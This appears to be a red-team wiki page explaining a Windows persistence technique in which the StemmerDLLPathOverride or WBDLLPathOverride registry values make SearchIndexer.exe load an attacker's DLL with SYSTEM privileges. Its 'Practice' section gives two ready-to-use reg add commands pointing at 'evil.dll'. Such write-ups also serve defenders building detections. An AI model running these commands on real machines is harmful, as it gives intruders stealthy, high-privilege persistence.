Natural Language 6 DLLs Persistence
Theory
The Natural Language Development Platform 6 (NaturalLanguage6.dll) Persistence technique leverages registry keys associated with the Natural Language Development Platform 6 library to achieve code execution by loading a malicious DLL.
By modifying the registry values StemmerDLLPathOverride or WBDLLPathOverride under the relevant keys, an attacker can specify the path to a custom DLL. When SearchIndexer.exe, a built-in Windows service responsible for indexing files, initializes, it calls LoadLibrary to load the DLL specified in these registry values.
Trigger Condition:
This persistence mechanism is triggered whenever SearchIndexer.exe starts or restarts, which typically occurs:
At system startup
When the Windows Search service (
WSearch) is restartedPeriodically, depending on system activity and indexing behavior
Since SearchIndexer.exe runs with SYSTEM privileges, this technique can provide high-privileged code execution, making it a stealthy and effective persistence method.
Practice
You can force SearchIndexer.exe to load some DLLs specified in this registry:
HKLM\System\CurrentControlSet\Control\ContentIndex\Language\<some language>\StemmerDLLPathOverrideHKLM\System\CurrentControlSet\Control\ContentIndex\Language\<some language>\WBDLLPathOverride
# StemmerDLLPathOverride
reg add "HKLM\System\CurrentControlSet\Control\ContentIndex\Language\English_US" /v StemmerDLLPathOverride /t REG_SZ /d "C:\Users\root\evil.dll"
# WBDLLPathOverride
reg add "HKLM\System\CurrentControlSet\Control\ContentIndex\Language\English_US" /v WBDLLPathOverride /t REG_SZ /d "C:\Users\root\evil.dll"Resources
Last updated
Was this helpful?